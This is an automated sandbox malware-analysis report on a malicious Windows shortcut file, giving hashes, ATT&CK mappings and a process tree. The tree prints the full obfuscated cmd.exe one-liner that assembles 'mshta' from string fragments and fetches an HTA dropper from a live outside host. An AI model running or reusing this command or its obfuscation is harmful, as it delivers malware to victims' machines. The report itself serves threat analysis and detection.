64a8daa85bd66f991463cb2a1a64d2b3ddc4fd59c720fe379fa50e81127d9672

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-729X18.lnk
Size 2KB
Sample260804-kdpt9avglh
SHA256 64a8daa85bd66f991463cb2a1a64d2b3ddc4fd59c720fe379fa50e81127d9672
MD5 70f2ff63e80295fa66c05b44e2608b12
SHA1 1225d8ed6b8a9a3ac998ee1d04b7c7c12d579015
SHA512 8ecede498fe778eaf2726cb2b1d71df7133750dfcd78d86c95e34d7311720cb5e241400b56e566900170d6e72e89709dac954c77259066b48798d1147b56fbc0
TLSH
T1AD413A903EED05E8F3BF6E72DDBE275148BBB9625D31C65D0941824C1822B01D9B2F67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4100	cmd.exe
3208	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 3208	4100	cmd.exe	90
PID 3208 wrote to memory of 2568	3208	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-729X18.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4100
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set NhO=59astqbm&&set werSJ=3xtart19&set Im=cfgvcrwyfrafvuxtcfg&set WXrl=bakspfkquedgdgahtbak&set PSVjg=logqcreecjiyubrmhjqlog&set LXD=netrwozzkbjyysdvvlxtnet&set Ho=dbgvcvpjdbg&set eMJ=infsmdkktinf&set xZjJr=mjmshn4&&set fuh=0uttnk&&set OobBS=ka49&set ZOXAe=cfgahkcvupwcfg&set zg=tmpzdhhdjxtmp&set Kqgc=netfhgjrbnet&&set YBgTz=https://@m@a@-p@df@filler.@lat/h/[email protected]@hp@?r@=3@914@69FB5@D@8@2DB&&start /b !xZjJr:~2,3!!fuh:~2,1!!OobBS:~1,1! !YBgTz:@=!&&set tww=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads